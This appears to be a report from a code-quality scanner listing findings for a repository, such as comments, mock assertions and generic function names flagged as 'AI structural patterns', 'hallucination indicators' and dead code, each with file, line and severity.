LOW⚡	scripts/check-docker-gpu.sh	558	# Step 5: configure Docker runtime	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	565	# Step 6: restart Docker	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	587	# Step 7: verification	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	593	# Step 8: enable overlay (only if passthrough verified)	COMMENT
LOW	src/agent_loop.py	3608	# Step 1: per-endpoint override (set at registration time from the	COMMENT

Hallucination Indicators2 hits · 25 pts

Severity	File	Line	Snippet	Context
CRITICAL⚡	tests/test_session_mode_helpers.py	56	sess.query.return_value.filter.return_value.update.assert_called_once_with({"mode": "agent"})	CODE
CRITICAL	static/lib/html2pdf.bundle.min.js	2	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.am	CODE

AI Structural Patterns35 hits · 24 pts

Severity	File	Line	Context
LOW	tests/test_model_routes.py	1583	CODE
LOW	tests/test_model_routes.py	700	CODE
LOW	tests/test_model_routes.py	720	CODE
LOW	tests/test_model_defaults.py	131	CODE
LOW	scripts/diffusion_server.py	763	CODE
LOW	scripts/demo_email/seed_demo_emails.py	109	CODE
LOW	mcp_servers/email_server.py	1602	CODE
LOW	routes/email_pollers.py	382	CODE
LOW	routes/mcp_routes.py	159	CODE
LOW	routes/email_routes.py	2267	CODE
LOW	routes/shell_routes.py	976	CODE
LOW	routes/hwfit_routes.py	194	CODE
LOW	routes/hwfit_routes.py	319	CODE
LOW	routes/hwfit_routes.py	413	CODE
LOW	routes/model_routes.py	1983	CODE
LOW	routes/chat_helpers.py	669	CODE
LOW	routes/chat_helpers.py	1061	CODE
LOW	routes/chat_helpers.py	1192	CODE
LOW	routes/gallery/gallery_routes.py	658	CODE
LOW	routes/compare/compare_routes.py	71	CODE
LOW	services/memory/skills.py	293	CODE
LOW	services/search/core.py	250	CODE
LOW	src/text_helpers.py	143	CODE
LOW	src/research_handler.py	240	CODE
LOW	src/research_handler.py	740	CODE
LOW	src/model_capabilities.py	486	CODE
LOW	src/agent_loop.py	2026	CODE
LOW	src/agent_loop.py	3079	CODE
LOW	src/chat_processor.py	263	CODE
LOW	src/visual_report.py	100	CODE
LOW	src/llm_core.py	1961	CODE
LOW	src/llm_core.py	2143	CODE
LOW	src/llm_core.py	2166	CODE
LOW	src/deep_research.py	192	CODE
LOW	src/model_capability_readers/llamacpp.py	247	CODE

Self-Referential Comments8 hits · 20 pts

Severity	File	Line	Snippet	Context
MEDIUM	launcher.py	17	# Define a dummy NullWriter to suppress standard stream crashes (isatty etc.) in GUI mode	COMMENT
MEDIUM	tests/test_tts_service_enforce_cache_limit.py	80	# Create a file to evict	COMMENT
MEDIUM	tests/test_rag_search_signature.py	8	# Create a mock instance for VectorRAG	COMMENT
MEDIUM	tests/test_skills_delete_owner.py	46	# Create an owner-scoped skill (owner="alice")	STRING
MEDIUM	tests/test_skills_delete_owner.py	71	# Create an owner-scoped skill (owner="alice")	STRING
MEDIUM	src/task_scheduler.py	726	# Create the run record with status="queued" BEFORE waiting on the	COMMENT
MEDIUM	src/task_scheduler.py	2562	# Create the singleton session first (CrewMember.session_id links to it).	COMMENT
MEDIUM	src/task_scheduler.py	2579	# Create the assistant CrewMember.	COMMENT

Synthetic Comment Markers2 hits · 12 pts

Severity	File	Line	Snippet	Context
HIGH	core/database.py	356	ai_tags = Column(Text, nullable=True, default="") # AI-generated tags (comma-separated)	CODE
HIGH	static/js/notes.js	3049	// Going Goal→Todo keeps the AI-generated steps as a plain checklist.	COMMENT

Dead Code4 hits · 8 pts

Severity	File	Line	Context
MEDIUM	tests/test_workspace_confine.py	382	CODE
MEDIUM	tests/test_delete_user_revokes_api_tokens.py	125	CODE
MEDIUM	tests/test_tool_policy.py	454	CODE
MEDIUM	tests/test_scheduler_prompt_cache_time.py	53	CODE

Overly Generic Function Names2 hits · 2 pts

Severity	File	Line	Snippet	Context
LOW	tests/test_security_regressions.py	1391	def handle_request(self, req):	CODE
LOW	services/search/content.py	202	def handle_request(self, request: httpx.Request) -> httpx.Response:	CODE

Analysis Overview

What These Metrics Mean

Score History

Severity Breakdown

Directory Score Breakdown

Pattern Findings